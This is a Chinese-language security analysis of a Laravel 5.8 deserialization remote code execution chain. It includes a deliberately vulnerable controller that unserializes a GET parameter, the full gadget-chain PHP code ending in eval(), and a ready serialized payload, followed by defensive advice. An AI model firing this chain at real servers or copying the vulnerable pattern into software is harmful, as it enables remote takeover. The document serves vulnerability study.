Laravel 5.8 RCE 分析
字数 1221 2025-08-27 12:33:48
Laravel 5.8 反序列化远程代码执行(RCE)漏洞分析
漏洞概述
本文详细分析Laravel 5.8框架中存在的一个反序列化远程代码执行漏洞。该漏洞源于框架中某些类的反序列化操作可能导致恶意代码执行,攻击者可以通过精心构造的序列化数据实现远程代码执行。
环境搭建
-
安装Laravel 5.8:
composer create-project --prefer-dist laravel/laravel laravel58 -
启动web服务:
php artisan serve -
添加路由(编辑
laravel58/routes/web.php):Route::get("/", "\App\Http\Controllers\DemoController@demo"); -
创建控制器(
laravel58/app/Http/Controllers/DemoController.php):<?php namespace App\Http\Controllers; class DemoController extends Controller { public function demo() { if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); } else{ highlight_file(__FILE__); } return "Welcome to laravel5.8"; } }
漏洞分析
漏洞利用链分析
-
起始点:
Illuminate\Broadcasting\PendingBroadcast类的__destruct方法public function __destruct() { $this->events->dispatch($this->event); } -
调用链:
$this->events必须实现Dispatcher接口(选择Illuminate\Bus\Dispatcher)$this->event必须实现ShouldQueue接口(选择Illuminate\Broadcasting\BroadcastEvent)
-
关键调用点:
Illuminate\Bus\Dispatcher的dispatchToQueue方法中的call_user_funcpublic function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection); // ... } -
利用
Mockery\Loader\EvalLoader的load方法:public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); }
完整利用链
PendingBroadcast::__destruct()->Dispatcher::dispatch()Dispatcher::dispatch()->Dispatcher::dispatchToQueue()dispatchToQueue()中的call_user_func()调用EvalLoader::load()EvalLoader::load()执行eval()函数
漏洞利用
构造Payload
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = new \Mockery\Generator\MockDefinition($evilCode);
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;
function __construct($evilCode)
{
$this->code = $evilCode;
$this->config = new MockConfiguration();
}
}
class MockConfiguration {
protected $name = 'abcdefg';
}
}
namespace {
$code = "<?php phpinfo(); exit; ?>";
$exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
echo serialize($exp);
}
?>
生成的序列化Payload
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}
技术要点
-
PHP序列化特性:
private属性序列化后会包含\x00类名\x00前缀protected属性序列化后会包含\x00*\x00前缀- 可以使用大写
S表示字符串并支持16进制表示法
-
关键绕过点:
MockDefinition的getClassName()必须返回不存在的类名MockConfiguration的name属性设置为不存在的类名
-
危险函数利用:
eval()函数执行任意PHP代码call_user_func()实现动态函数调用
防御措施
- 避免反序列化用户可控的数据
- 使用
__wakeup()或__destruct()方法进行安全检查 - 更新到最新版本的Laravel框架
- 实施输入验证和过滤